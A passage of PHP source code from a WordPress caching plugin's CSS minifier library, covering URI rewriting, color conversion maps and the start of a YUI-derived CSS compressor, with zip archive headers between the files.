        $css = self::_unOwlify($css);

        return $css;
    }

    /**
     * In CSS content, prepend a path to relative URIs
     *
     * @param string $css
     *
     * @param string $path The path to prepend.
     *
     * @return string
     */
    public static function prepend($css, $path)
    {
        self::$_prependPath = $path;

        $css = self::_trimUrls($css);

        $css = self::_owlifySvgPaths($css);

        // append
        $pattern = '/@import\\s+([\'"])(.*?)[\'"]/';
        $css = preg_replace_callback($pattern, __CLASS__ . '::_processUriCB', $css);

        $pattern = '/url\\(\\s*([\'"](.*?)[\'"]|[^\\)\\s]+)\\s*\\)/';
        $css = preg_replace_callback($pattern, __CLASS__ . '::_processUriCB', $css);

        $css = self::_unOwlify($css);

        self::$_prependPath = null;

        return $css;
    }

    /**
     * Get a root relative URI from a file relative URI
     *
     * <code>
     * UriRewriter::rewriteRelative(
     *       '../img/hello.gif'
     *     , '/home/user/www/css'  // path of CSS file
     *     , '/home/user/www'      // doc root
     * );
     * // returns '/img/hello.gif'
     *
     * // example where static files are stored in a symlinked directory
     * UriRewriter::rewriteRelative(
     *       'hello.gif'
     *     , '/var/staticFiles/theme'
     *     , '/home/user/www'
     *     , array('/home/user/www/static' => '/var/staticFiles')
     * );
     * // returns '/static/theme/hello.gif'
     * </code>
     *
     * @param string $uri file relative URI
     *
     * @param string $realCurrentDir realpath of the current file's directory.
     *
     * @param string $realDocRoot realpath of the site document root.
     *
     * @param array $symlinks (default = array()) If the file is stored in
     * a symlink-ed directory, provide an array of link paths to
     * real target paths, where the link paths "appear" to be within the document
     * root. E.g.:
     * <code>
     * array('/home/foo/www/not/real/path' => '/real/target/path') // unix
     * array('C:\\htdocs\\not\\real' => 'D:\\real\\target\\path')  // Windows
     * </code>
     *
     * @return string
     */
    public static function rewriteRelative($uri, $realCurrentDir, $realDocRoot, $symlinks = array())
    {
        // prepend path with current dir separator (OS-independent)
        $path = strtr($realCurrentDir, '/', DIRECTORY_SEPARATOR);
        $path .= DIRECTORY_SEPARATOR . strtr($uri, '/', DIRECTORY_SEPARATOR);

        self::$debugText .= "file-relative URI  : {$uri}\n"
                          . "path prepended     : {$path}\n";

        // "unresolve" a symlink back to doc root
        foreach ($symlinks as $link => $target) {
            if (0 === strpos($path, $target)) {
                // replace $target with $link
                $path = $link . substr($path, strlen($target));

                self::$debugText .= "symlink unresolved : {$path}\n";

                break;
            }
        }
        // strip doc root
        $path = substr($path, strlen($realDocRoot));

        self::$debugText .= "docroot stripped   : {$path}\n";

        // fix to root-relative URI
        $uri = strtr($path, '/\\', '//');
        $uri = self::removeDots($uri);

        self::$debugText .= "traversals removed : {$uri}\n\n";

        return $uri;
    }

    /**
     * Remove instances of "./" and "../" where possible from a root-relative URI
     *
     * @param string $uri
     *
     * @return string
     */
    public static function removeDots($uri)
    {
        $uri = str_replace('/./', '/', $uri);
        // inspired by patch from Oleg Cherniy
        do {
            $uri = preg_replace('@/[^/]+/\\.\\./@', '/', $uri, 1, $changed);
        } while ($changed);

        return $uri;
    }

    /**
     * Get realpath with any trailing slash removed. If realpath() fails,
     * just remove the trailing slash.
     *
     * @param string $path
     *
     * @return mixed path with no trailing slash
     */
    protected static function _realpath($path)
    {
        $realPath = realpath($path);
        if ($realPath !== false) {
            $path = $realPath;
        }

        return rtrim($path, '/\\');
    }

    /**
     * Directory of this stylesheet
     *
     * @var string
     */
    private static $_currentDir = '';

    /**
     * DOC_ROOT
     *
     * @var string
     */
    private static $_docRoot = '';

    /**
     * directory replacements to map symlink targets back to their
     * source (within the document root) E.g. '/var/www/symlink' => '/var/realpath'
     *
     * @var array
     */
    private static $_symlinks = array();

    /**
     * Path to prepend
     *
     * @var string
     */
    private static $_prependPath = null;

    /**
     * @param string $css
     *
     * @return string
     */
    private static function _trimUrls($css)
    {
        $pattern = '/
            url\\(      # url(
            \\s*
            ([^\\)]+?)  # 1 = URI (assuming does not contain ")")
            \\s*
            \\)         # )
        /x';

        return preg_replace($pattern, 'url($1)', $css);
    }

    /**
     * @param array $m
     *
     * @return string
     */
    private static function _processUriCB($m)
    {
        // $m matched either '/@import\\s+([\'"])(.*?)[\'"]/' or '/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
        $isImport = ($m[0][0] === '@');
        // determine URI and the quote character (if any)
        if ($isImport) {
            $quoteChar = $m[1];
            $uri = $m[2];
        } else {
            // $m[1] is either quoted or not
            $quoteChar = ($m[1][0] === "'" || $m[1][0] === '"') ? $m[1][0] : '';

            $uri = ($quoteChar === '') ? $m[1] : substr($m[1], 1, strlen($m[1]) - 2);
        }

        if ($uri === '') {
            return $m[0];
        }

        // if not anchor id, not root/scheme relative, and not starts with scheme
        if (!preg_match('~^(#|/|[a-z]+\:)~', $uri)) {
            // URI is file-relative: rewrite depending on options
            if (self::$_prependPath === null) {
                $uri = self::rewriteRelative($uri, self::$_currentDir, self::$_docRoot, self::$_symlinks);
            } else {
                $uri = self::$_prependPath . $uri;
                if ($uri[0] === '/') {
                    $root = '';
                    $rootRelative = $uri;
                    $uri = $root . self::removeDots($rootRelative);
                } elseif (preg_match('@^((https?\:)?//([^/]+))/@', $uri, $m) && (false !== strpos($m[3], '.'))) {
                    $root = $m[1];
                    $rootRelative = substr($uri, strlen($root));
                    $uri = $root . self::removeDots($rootRelative);
                }
            }
        }

        if ($isImport) {
            return "@import {$quoteChar}{$uri}{$quoteChar}";
        } else {
            return "url({$quoteChar}{$uri}{$quoteChar})";
        }
    }

    /**
     * Mungs some inline SVG URL declarations so they won't be touched
     *
     * @link https://github.com/mrclay/minify/issues/517
     * @see _unOwlify
     *
     * @param string $css
     * @return string
     */
    private static function _owlifySvgPaths($css)
    {
        $pattern = '~\b((?:clip-path|mask|-webkit-mask)\s*\:\s*)url(\(\s*#\w+\s*\))~';

        return preg_replace($pattern, '$1owl$2', $css);
    }

    /**
     * Undo work of _owlify
     *
     * @see _owlifySvgPaths
     *
     * @param string $css
     * @return string
     */
    private static function _unOwlify($css)
    {
        $pattern = '~\b((?:clip-path|mask|-webkit-mask)\s*\:\s*)owl~';

        return preg_replace($pattern, '$1url', $css);
    }
}
PK       ! ROx	  	    css-min/utils.cls.phpnu [        <?php
namespace LiteSpeed\Lib\CSS_MIN ;

defined( 'WPINC' ) || exit ;

class Utils
{
    /**
     * Clamps a number between a minimum and a maximum value.
     * @param int|float $n the number to clamp
     * @param int|float $min the lower end number allowed
     * @param int|float $max the higher end number allowed
     * @return int|float
     */
    public static function clampNumber($n, $min, $max)
    {
        return min(max($n, $min), $max);
    }

    /**
     * Clamps a RGB color number outside the sRGB color space
     * @param int|float $n the number to clamp
     * @return int|float
     */
    public static function clampNumberSrgb($n)
    {
        return self::clampNumber($n, 0, 255);
    }

    /**
     * Converts a HSL color into a RGB color
     * @param array $hslValues
     * @return array
     */
    public static function hslToRgb($hslValues)
    {
        $h = floatval($hslValues[0]);
        $s = floatval(str_replace('%', '', $hslValues[1]));
        $l = floatval(str_replace('%', '', $hslValues[2]));

        // Wrap and clamp, then fraction!
        $h = ((($h % 360) + 360) % 360) / 360;
        $s = self::clampNumber($s, 0, 100) / 100;
        $l = self::clampNumber($l, 0, 100) / 100;

        if ($s == 0) {
            $r = $g = $b = self::roundNumber(255 * $l);
        } else {
            $v2 = $l < 0.5 ? $l * (1 + $s) : ($l + $s) - ($s * $l);
            $v1 = (2 * $l) - $v2;
            $r = self::roundNumber(255 * self::hueToRgb($v1, $v2, $h + (1/3)));
            $g = self::roundNumber(255 * self::hueToRgb($v1, $v2, $h));
            $b = self::roundNumber(255 * self::hueToRgb($v1, $v2, $h - (1/3)));
        }

        return array($r, $g, $b);
    }

    /**
     * Tests and selects the correct formula for each RGB color channel
     * @param $v1
     * @param $v2
     * @param $vh
     * @return mixed
     */
    public static function hueToRgb($v1, $v2, $vh)
    {
        $vh = $vh < 0 ? $vh + 1 : ($vh > 1 ? $vh - 1 : $vh);

        if ($vh * 6 < 1) {
            return $v1 + ($v2 - $v1) * 6 * $vh;
        }

        if ($vh * 2 < 1) {
            return $v2;
        }

        if ($vh * 3 < 2) {
            return $v1 + ($v2 - $v1) * ((2 / 3) - $vh) * 6;
        }

        return $v1;
    }

    /**
     * Convert strings like "64M" or "30" to int values
     * @param mixed $size
     * @return int
     */
    public static function normalizeInt($size)
    {
        if (is_string($size)) {
            $letter = substr($size, -1);
            $size = intval($size);
            switch ($letter) {
                case 'M':
                case 'm':
                    return (int) $size * 1048576;
                case 'K':
                case 'k':
                    return (int) $size * 1024;
                case 'G':
                case 'g':
                    return (int) $size * 1073741824;
            }
        }
        return (int) $size;
    }

    /**
     * Converts a string containing and RGB percentage value into a RGB integer value i.e. '90%' -> 229.5
     * @param $rgbPercentage
     * @return int
     */
    public static function rgbPercentageToRgbInteger($rgbPercentage)
    {
        if (strpos($rgbPercentage, '%') !== false) {
            $rgbPercentage = self::roundNumber(floatval(str_replace('%', '', $rgbPercentage)) * 2.55);
        }

        return intval($rgbPercentage, 10);
    }

    /**
     * Converts a RGB color into a HEX color
     * @param array $rgbColors
     * @return array
     */
    public static function rgbToHex($rgbColors)
    {
        $hexColors = array();

        // Values outside the sRGB color space should be clipped (0-255)
        for ($i = 0, $l = count($rgbColors); $i < $l; $i++) {
            $hexColors[$i] = sprintf("%02x", self::clampNumberSrgb(self::rgbPercentageToRgbInteger($rgbColors[$i])));
        }

        return $hexColors;
    }

    /**
     * Rounds a number to its closest integer
     * @param $n
     * @return int
     */
    public static function roundNumber($n)
    {
        return intval(round(floatval($n)), 10);
    }
}
PK       ! f      css-min/colors.cls.phpnu [        <?php
namespace LiteSpeed\Lib\CSS_MIN ;

defined( 'WPINC' ) || exit ;

class Colors
{
    public static function getHexToNamedMap()
    {
        // Hex colors longer than named counterpart
        return array(
            '#f0ffff' => 'azure',
            '#f5f5dc' => 'beige',
            '#ffe4c4' => 'bisque',
            '#a52a2a' => 'brown',
            '#ff7f50' => 'coral',
            '#ffd700' => 'gold',
            '#808080' => 'gray',
            '#008000' => 'green',
            '#4b0082' => 'indigo',
            '#fffff0' => 'ivory',
            '#f0e68c' => 'khaki',
            '#faf0e6' => 'linen',
            '#800000' => 'maroon',
            '#000080' => 'navy',
            '#fdf5e6' => 'oldlace',
            '#808000' => 'olive',
            '#ffa500' => 'orange',
            '#da70d6' => 'orchid',
            '#cd853f' => 'peru',
            '#ffc0cb' => 'pink',
            '#dda0dd' => 'plum',
            '#800080' => 'purple',
            '#f00'    => 'red',
            '#fa8072' => 'salmon',
            '#a0522d' => 'sienna',
            '#c0c0c0' => 'silver',
            '#fffafa' => 'snow',
            '#d2b48c' => 'tan',
            '#008080' => 'teal',
            '#ff6347' => 'tomato',
            '#ee82ee' => 'violet',
            '#f5deb3' => 'wheat'
        );
    }

    public static function getNamedToHexMap()
    {
        // Named colors longer than hex counterpart
        return array(
            'aliceblue' => '#f0f8ff',
            'antiquewhite' => '#faebd7',
            'aquamarine' => '#7fffd4',
            'black' => '#000',
            'blanchedalmond' => '#ffebcd',
            'blueviolet' => '#8a2be2',
            'burlywood' => '#deb887',
            'cadetblue' => '#5f9ea0',
            'chartreuse' => '#7fff00',
            'chocolate' => '#d2691e',
            'cornflowerblue' => '#6495ed',
            'cornsilk' => '#fff8dc',
            'darkblue' => '#00008b',
            'darkcyan' => '#008b8b',
            'darkgoldenrod' => '#b8860b',
            'darkgray' => '#a9a9a9',
            'darkgreen' => '#006400',
            'darkgrey' => '#a9a9a9',
            'darkkhaki' => '#bdb76b',
            'darkmagenta' => '#8b008b',
            'darkolivegreen' => '#556b2f',
            'darkorange' => '#ff8c00',
            'darkorchid' => '#9932cc',
            'darksalmon' => '#e9967a',
            'darkseagreen' => '#8fbc8f',
            'darkslateblue' => '#483d8b',
            'darkslategray' => '#2f4f4f',
            'darkslategrey' => '#2f4f4f',
            'darkturquoise' => '#00ced1',
            'darkviolet' => '#9400d3',
            'deeppink' => '#ff1493',
            'deepskyblue' => '#00bfff',
            'dodgerblue' => '#1e90ff',
            'firebrick' => '#b22222',
            'floralwhite' => '#fffaf0',
            'forestgreen' => '#228b22',
            'fuchsia' => '#f0f',
            'gainsboro' => '#dcdcdc',
            'ghostwhite' => '#f8f8ff',
            'goldenrod' => '#daa520',
            'greenyellow' => '#adff2f',
            'honeydew' => '#f0fff0',
            'indianred' => '#cd5c5c',
            'lavender' => '#e6e6fa',
            'lavenderblush' => '#fff0f5',
            'lawngreen' => '#7cfc00',
            'lemonchiffon' => '#fffacd',
            'lightblue' => '#add8e6',
            'lightcoral' => '#f08080',
            'lightcyan' => '#e0ffff',
            'lightgoldenrodyellow' => '#fafad2',
            'lightgray' => '#d3d3d3',
            'lightgreen' => '#90ee90',
            'lightgrey' => '#d3d3d3',
            'lightpink' => '#ffb6c1',
            'lightsalmon' => '#ffa07a',
            'lightseagreen' => '#20b2aa',
            'lightskyblue' => '#87cefa',
            'lightslategray' => '#778899',
            'lightslategrey' => '#778899',
            'lightsteelblue' => '#b0c4de',
            'lightyellow' => '#ffffe0',
            'limegreen' => '#32cd32',
            'mediumaquamarine' => '#66cdaa',
            'mediumblue' => '#0000cd',
            'mediumorchid' => '#ba55d3',
            'mediumpurple' => '#9370db',
            'mediumseagreen' => '#3cb371',
            'mediumslateblue' => '#7b68ee',
            'mediumspringgreen' => '#00fa9a',
            'mediumturquoise' => '#48d1cc',
            'mediumvioletred' => '#c71585',
            'midnightblue' => '#191970',
            'mintcream' => '#f5fffa',
            'mistyrose' => '#ffe4e1',
            'moccasin' => '#ffe4b5',
            'navajowhite' => '#ffdead',
            'olivedrab' => '#6b8e23',
            'orangered' => '#ff4500',
            'palegoldenrod' => '#eee8aa',
            'palegreen' => '#98fb98',
            'paleturquoise' => '#afeeee',
            'palevioletred' => '#db7093',
            'papayawhip' => '#ffefd5',
            'peachpuff' => '#ffdab9',
            'powderblue' => '#b0e0e6',
            'rebeccapurple' => '#663399',
            'rosybrown' => '#bc8f8f',
            'royalblue' => '#4169e1',
            'saddlebrown' => '#8b4513',
            'sandybrown' => '#f4a460',
            'seagreen' => '#2e8b57',
            'seashell' => '#fff5ee',
            'slateblue' => '#6a5acd',
            'slategray' => '#708090',
            'slategrey' => '#708090',
            'springgreen' => '#00ff7f',
            'steelblue' => '#4682b4',
            'turquoise' => '#40e0d0',
            'white' => '#fff',
            'whitesmoke' => '#f5f5f5',
            'yellow' => '#ff0',
            'yellowgreen' => '#9acd32'
        );
    }
}
PK       ! wncy  cy    css-min/minifier.cls.phpnu [        <?php
/*!
 * CssMin
 * Author: Tubal Martin - http://tubalmartin.me/
 * Repo: https://github.com/tubalmartin/YUI-CSS-compressor-PHP-port
 *
 * This is a PHP port of the CSS minification tool distributed with YUICompressor,
 * itself a port of the cssmin utility by Isaac Schlueter - http://foohack.com/
 * Permission is hereby granted to use the PHP version under the same
 * conditions as the YUICompressor.
 */

/*!
 * YUI Compressor
 * http://developer.yahoo.com/yui/compressor/
 * Author: Julien Lecomte - http://www.julienlecomte.net/
 * Copyright (c) 2013 Yahoo! Inc. All rights reserved.
 * The copyrights embodied in the content of this file are licensed
 * by Yahoo! Inc. under the BSD (revised) open source license.
 */
namespace LiteSpeed\Lib\CSS_MIN ;

defined( 'WPINC' ) || exit ;

class Minifier
{
    const QUERY_FRACTION = '_CSSMIN_QF_';
    const COMMENT_TOKEN = '_CSSMIN_CMT_%d_';
    const COMMENT_TOKEN_START = '_CSSMIN_CMT_';
    const RULE_BODY_TOKEN = '_CSSMIN_RBT_%d_';
    const PRESERVED_TOKEN = '_CSSMIN_PTK_%d_';

    // Token lists
    private $comments = array();
    private $ruleBodies = array();
    private $preservedTokens = array();

    // Output options
    private $keepImportantComments = true;
    private $keepSourceMapComment = false;
    private $linebreakPosition = 0;

    // PHP ini limits
    private $raisePhpLimits;
    private $memoryLimit;
    private $maxExecutionTime = 60; // 1 min
    private $pcreBacktrackLimit;
    private $pcreRecursionLimit;

    // Color maps
    private $hexToNamedColorsMap;
    private $namedToHexColorsMap;

    // Regexes
    private $numRegex;
    private $charsetRegex = '/@charset [^;]+;/Si';
    private $importRegex = '/@import [^;]+;/Si';
    private $namespaceRegex = '/@namespace [^;]+;/Si';
    private $namedToHexColorsRegex;
    private $shortenOneZeroesRegex;
    private $shortenTwoZeroesRegex;
    private $shortenThreeZeroesRegex;
    private $shortenFourZeroesRegex;
    private $unitsGroupRegex = '(?:ch|cm|em|ex|gd|in|mm|px|pt|pc|q|rem|vh|vmax|vmin|vw|%)';

    /**
     * @param bool|int $raisePhpLimits If true, PHP settings will be raised if needed
     */
    public function __construct($raisePhpLimits = true)
    {
        $this->raisePhpLimits = (bool) $raisePhpLimits;
        $this->memoryLimit = 128 * 1048576; // 128MB in bytes
        $this->pcreBacktrackLimit = 1000 * 1000;
        $this->pcreRecursionLimit = 500 * 1000;
        $this->hexToNamedColorsMap = Colors::getHexToNamedMap();
        $this->namedToHexColorsMap = Colors::getNamedToHexMap();
        $this->namedToHexColorsRegex = sprintf(
            '/([:,( ])(%s)( |,|\)|;|$)/Si',
            implode('|', array_keys($this->namedToHexColorsMap))
        );
        $this->numRegex = sprintf('-?\d*\.?\d+%s?', $this->unitsGroupRegex);
        $this->setShortenZeroValuesRegexes();
    }

    /**
     * Parses & minifies the given input CSS string
     * @param string $css
     * @return string
     */
    public function run($css = '')
    {
        if (empty($css) || !is_string($css)) {
            return '';
        }

        $this->resetRunProperties();

        if ($this->raisePhpLimits) {
            $this->doRaisePhpLimits();
        }

        return $this->minify($css);
    }

    /**
     * Sets whether to keep or remove sourcemap special comment.
     * Sourcemap comments are removed by default.
     * @param bool $keepSourceMapComment
     */
    public function keepSourceMapComment($keepSourceMapComment = true)
    {
        $this->keepSourceMapComment = (bool) $keepSourceMapComment;
    }

    /**
     * Sets whether to keep or remove important comments.
     * Important comments outside of a declaration block are kept by default.
     * @param bool $removeImportantComments
     */
    public function removeImportantComments($removeImportantComments = true)
    {
        $this->keepImportantComments = !(bool) $removeImportantComments;
    }

    /**
     * Sets the approximate column after which long lines will be splitted in the output
     * with a linebreak.
     * @param int $position
     */
    public function setLineBreakPosition($position)
    {
        $this->linebreakPosition = (int) $position;
    }

    /**
     * Sets the memory limit for this script
     * @param int|string $limit
     */
    public function setMemoryLimit($limit)
    {
        $this->memoryLimit = Utils::normalizeInt($limit);
    }

    /**
     * Sets the maximum execution time for this script
     * @param int|string $seconds
     */
    public function setMaxExecutionTime($seconds)
    {
        $this->maxExecutionTime = (int) $seconds;
    }

    /**
     * Sets the PCRE backtrack limit for this script
     * @param int $limit
     */
    public function setPcreBacktrackLimit($limit)
    {
        $this->pcreBacktrackLimit = (int) $limit;
    }

    /**
     * Sets the PCRE recursion limit for this script
     * @param int $limit
     */
    public function setPcreRecursionLimit($limit)
    {
        $this->pcreRecursionLimit = (int) $limit;
    }

    /**
     * Builds regular expressions needed for shortening zero values
     */
    private function setShortenZeroValuesRegexes()
    {
        $zeroRegex = '0'. $this->unitsGroupRegex;
        $numOrPosRegex = '('. $this->numRegex .'|top|left|bottom|right|center) ';
        $oneZeroSafeProperties = array(
            '(?:line-)?height',
            '(?:(?:min|max)-)?width',
            'top',
            'left',
            'background-position',
            'bottom',
            'right',
            'border(?:-(?:top|left|bottom|right))?(?:-width)?',
            'border-(?:(?:top|bottom)-(?:left|right)-)?radius',
            'column-(?:gap|width)',
            'margin(?:-(?:top|left|bottom|right))?',
            'outline-width',
            'padding(?:-(?:top|left|bottom|right))?'
        );

        // First zero regex
        $regex = '/(^|;)('. implode('|', $oneZeroSafeProperties) .'):%s/Si';
        $this->shortenOneZeroesRegex = sprintf($regex, $zeroRegex);

        // Multiple zeroes regexes
        $regex = '/(^|;)(margin|padding|border-(?:width|radius)|background-position):%s/Si';
        $this->shortenTwoZeroesRegex = sprintf($regex, $numOrPosRegex . $zeroRegex);
        $this->shortenThreeZeroesRegex = sprintf($regex, $numOrPosRegex . $numOrPosRegex . $zeroRegex);
        $this->shortenFourZeroesRegex = sprintf($regex, $numOrPosRegex . $numOrPosRegex . $numOrPosRegex . $zeroRegex);
    }

    /**
     * Resets properties whose value may change between runs
     */
    private function resetRunProperties()
    {
        $this->comments = array();
        $this->ruleBodies = array();
        $this->preservedTokens = array();
    }

    /**
     * Tries to configure PHP to use at least the suggested minimum settings
     * @return void
     */
    private function doRaisePhpLimits()
    {
        $phpLimits = array(
            'memory_limit' => $this->memoryLimit,
            'max_execution_time' => $this->maxExecutionTime,
            'pcre.backtrack_limit' => $this->pcreBacktrackLimit,
            'pcre.recursion_limit' =>  $this->pcreRecursionLimit
        );

        // If current settings are higher respect them.
        foreach ($phpLimits as $name => $suggested) {
            $current = Utils::normalizeInt(ini_get($name));

            if ($current >= $suggested) {
                continue;
            }

            // memoryLimit exception: allow -1 for "no memory limit".
            if ($name === 'memory_limit' && $current === -1) {
                continue;
            }

            // maxExecutionTime exception: allow 0 for "no memory limit".
            if ($name === 'max_execution_time' && $current === 0) {
                continue;
            }

            ini_set($name, $suggested);
        }
    }

    /**
     * Registers a preserved token
     * @param string $token
     * @return string The token ID string
     */
    private function registerPreservedToken($token)
    {
        $tokenId = sprintf(self::PRESERVED_TOKEN, count($this->preservedTokens));
        $this->preservedTokens[$tokenId] = $token;
        return $tokenId;
    }

    /**
     * Registers a candidate comment token
     * @param string $comment
     * @return string The comment token ID string
     */
    private function registerCommentToken($comment)
    {
        $tokenId = sprintf(self::COMMENT_TOKEN, count($this->comments));
        $this->comments[$tokenId] = $comment;
        return $tokenId;
    }

    /**
     * Registers a rule body token
     * @param string $body the minified rule body
     * @return string The rule body token ID string
     */
    private function registerRuleBodyToken($body)
    {
        if (empty($body)) {
            return '';
        }

        $tokenId = sprintf(self::RULE_BODY_TOKEN, count($this->ruleBodies));
        $this->ruleBodies[$tokenId] = $body;
        return $tokenId;
    }

    /**
     * Parses & minifies the given input CSS string
     * @param string $css
     * @return string
     */
    private function minify($css)
    {
        // Process data urls
        $css = $this->processDataUrls($css);

        // Process comments
        $css = preg_replace_callback(
            '/(?<!\\\\)\/\*(.*?)\*(?<!\\\\)\//Ss',
            array($this, 'processCommentsCallback'),
            $css
        );

        // IE7: Process Microsoft matrix filters (whitespaces between Matrix parameters). Can contain strings inside.
        $css = preg_replace_callback(
            '/filter:\s*progid:DXImageTransform\.Microsoft\.Matrix\(([^)]+)\)/Ss',
            array($this, 'processOldIeSpecificMatrixDefinitionCallback'),
            $css
        );

        // Process quoted unquotable attribute selectors to unquote them. Covers most common cases.
        // Likelyhood of a quoted attribute selector being a substring in a string: Very very low.
        $css = preg_replace(
            '/\[\s*([a-z][a-z-]+)\s*([\*\|\^\$~]?=)\s*[\'"](-?[a-z_][a-z0-9-_]+)[\'"]\s*\]/Ssi',
            '[$1$2$3]',
            $css
        );

        // Process strings so their content doesn't get accidentally minified
        $double_quoted = '"(?:[^"\\\\]|\\\\.)*"';
        $single_quoted = "'(?:[^'\\\\]|\\\\.)*'";
        $css = preg_replace_callback(
            "/(?<!\\\\)(?:$double_quoted|$single_quoted)/S",
            array($this, 'processStringsCallback'),
            $css
        );

        // Normalize all whitespace strings to single spaces. Easier to work with that way.
        $css = preg_replace('/\s+/S', ' ', $css);

        // Process comments
        $css = $this->processComments($css);

        // Process rule bodies
        $css = $this->processRuleBodies($css);

        // Process at-rules and selectors
        $css = $this->processAtRulesAndSelectors($css);

        // Restore preserved rule bodies before splitting
        $css = strtr($css, $this->ruleBodies);

        // Some source control tools don't like it when files containing lines longer
        // than, say 8000 characters, are checked in. The linebreak option is used in
        // that case to split long lines after a specific column.
        if ($this->linebreakPosition > 0) {
            $l = strlen($css);
            $offset = $this->linebreakPosition;
            while (preg_match('/(?<!\\\\)\}(?!\n)/S', $css, $matches, PREG_OFFSET_CAPTURE, $offset)) {
                $matchIndex = $matches[0][1];
                $css = substr_replace($css, "\n", $matchIndex + 1, 0);
                $offset = $matchIndex + 2 + $this->linebreakPosition;
                $l += 1;
                if ($offset > $l) {
                    break;
                }
            }
        }

        // Restore preserved comments and strings
        $css = strtr($css, $this->preservedTokens);

        return trim($css);
    }

    /**
     * Searches & replaces all data urls with tokens before we start compressing,
     * to avoid performance issues running some of the subsequent regexes against large string chunks.
     * @param string $css
     * @return string
     */
    private function processDataUrls($css)
    {
        $ret = '';
        $searchOffset = $substrOffset = 0;

        // Since we need to account for non-base64 data urls, we need to handle
        // ' and ) being part of the data string.
        while (preg_match('/url\(\s*(["\']?)data:/Si', $css, $m, PREG_OFFSET_CAPTURE, $searchOffset)) {
            $matchStartIndex = $m[0][1];
            $dataStartIndex = $matchStartIndex + 4; // url( length
            $searchOffset = $matchStartIndex + strlen($m[0][0]);
            $terminator = $m[1][0]; // ', " or empty (not quoted)
            $terminatorRegex = '/(?<!\\\\)'. (strlen($terminator) === 0 ? '' : $terminator.'\s*') .'(\))/S';

            $ret .= substr($css, $substrOffset, $matchStartIndex - $substrOffset);

            // Terminator found
            if (preg_match($terminatorRegex, $css, $matches, PREG_OFFSET_CAPTURE, $searchOffset)) {
                $matchEndIndex = $matches[1][1];
                $searchOffset = $matchEndIndex + 1;
                $token = substr($css, $dataStartIndex, $matchEndIndex - $dataStartIndex);

                // Remove all spaces only for base64 encoded URLs.
                if (stripos($token, 'base64,') !== false) {
                    $token = preg_replace('/\s+/S', '', $token);
                }

                $ret .= 'url('. $this->registerPreservedToken(trim($token)) .')';
            // No end terminator found, re-add the whole match. Should we throw/warn here?
            } else {
                $ret .= substr($css, $matchStartIndex, $searchOffset - $matchStartIndex);
            }

            $substrOffset = $searchOffset;
        }

        $ret .= substr($css, $substrOffset);

        return $ret;
    }

    /**
     * Registers all comments found as candidates to be preserved.
     * @param array $matches
     * @return string
     */
    private function processCommentsCallback($matches)
    {
        return '/*'. $this->registerCommentToken($matches[1]) .'*/';
    }

    /**
     * Preserves old IE Matrix string definition
     * @param array $matches
     * @return string
     */
    private function processOldIeSpecificMatrixDefinitionCallback($matches)
    {
        return 'filter:progid:DXImageTransform.Microsoft.Matrix('. $this->registerPreservedToken($matches[1]) .')';
    }

    /**
     * Preserves strings found
     * @param array $matches
     * @return string
     */
    private function processStringsCallback($matches)
    {
        $match = $matches[0];
        $quote = substr($match, 0, 1);
        $match = substr($match, 1, -1);

        // maybe the string contains a comment-like substring?
        // one, maybe more? put'em back then
        if (strpos($match, self::COMMENT_TOKEN_START) !== false) {
            $match = strtr($match, $this->comments);
        }

        // minify alpha opacity in filter strings
        $match = str_ireplace('progid:DXImageTransform.Microsoft.Alpha(Opacity=', 'alpha(opacity=', $match);

        return $quote . $this->registerPreservedToken($match) . $quote;
    }

    /**
     * Preserves or removes comments found.
     * @param string $css
     * @return string
     */
    private function processComments($css)
    {
        foreach ($this->comments as $commentId => $comment) {
            $commentIdString = '/*'. $commentId .'*/';

            // ! in the first position of the comment means preserve
            // so push to the preserved tokens keeping the !
            if ($this->keepImportantComments && strpos($comment, '!') === 0) {
                $preservedTokenId = $this->registerPreservedToken($comment);
                // Put new lines before and after /*! important comments
                $css = str_replace($commentIdString, "\n/*$preservedTokenId*/\n", $css);
                continue;
            }

            // # sourceMappingURL= in the first position of the comment means sourcemap
            // so push to the preserved tokens if {$this->keepSourceMapComment} is truthy.
            if ($this->keepSourceMapComment && strpos($comment, '# sourceMappingURL=') === 0) {
                $preservedTokenId = $this->registerPreservedToken($comment);
                // Add new line before the sourcemap comment
                $css = str_replace($commentIdString, "\n/*$preservedTokenId*/", $css);
                continue;
            }

            // Keep empty comments after child selectors (IE7 hack)
            // e.g. html >/**/ body
            if (strlen($comment) === 0 && strpos($css, '>/*'.$commentId) !== false) {
                $css = str_replace($commentId, $this->registerPreservedToken(''), $css);
                continue;
            }

            // in all other cases kill the comment
            $css = str_replace($commentIdString, '', $css);
        }

        // Normalize whitespace again
        $css = preg_replace('/ +/S', ' ', $css);

        return $css;
    }

    /**
     * Finds, minifies & preserves all rule bodies.
     * @param string $css the whole stylesheet.
     * @return string
     */
    private function processRuleBodies($css)
    {
        $ret = '';
        $searchOffset = $substrOffset = 0;

        while (($blockStartPos = strpos($css, '{', $searchOffset)) !== false) {
            $blockEndPos = strpos($css, '}', $blockStartPos);
            if ( ! $blockEndPos ) throw new \Exception( 'CSS parse error' ) ;

            $nextBlockStartPos = strpos($css, '{', $blockStartPos + 1);
            $ret .= substr($css, $substrOffset, $blockStartPos - $substrOffset);

            if ($nextBlockStartPos !== false && $nextBlockStartPos < $blockEndPos) {
                $ret .= substr($css, $blockStartPos, $nextBlockStartPos - $blockStartPos);
                $searchOffset = $nextBlockStartPos;
            } else {
                $ruleBody = substr($css, $blockStartPos + 1, $blockEndPos - $blockStartPos - 1);
                $ruleBodyToken = $this->registerRuleBodyToken($this->processRuleBody($ruleBody));
                $ret .= '{'. $ruleBodyToken .'}';
                $searchOffset = $blockEndPos + 1;
            }

            $substrOffset = $searchOffset;
        }

        $ret .= substr($css, $substrOffset);

        return $ret;
    }

    /**
     * Compresses non-group rule bodies.
     * @param string $body The rule body without curly braces
     * @return string
     */
    private function processRuleBody($body)
    {
        $body = trim($body);

        // Remove spaces before the things that should not have spaces before them.
        $body = preg_replace('/ ([:=,)*\/;\n])/S', '$1', $body);

        // Remove the spaces after the things that should not have spaces after them.
        $body = preg_replace('/([:=,(*\/!;\n]) /S', '$1', $body);

        // Replace multiple semi-colons in a row by a single one
        $body = preg_replace('/;;+/S', ';', $body);

        // Remove semicolon before closing brace except when:
        // - The last property is prefixed with a `*` (lte IE7 hack) to avoid issues on Symbian S60 3.x browsers.
        if (!preg_match('/\*[a-z0-9-]+:[^;]+;$/Si', $body)) {
            $body = rtrim($body, ';');
        }

        // Remove important comments inside a rule body (because they make no sense here).
        if (strpos($body, '/*') !== false) {
            $body = preg_replace('/\n?\/\*[A-Z0-9_]+\*\/\n?/S', '', $body);
        }

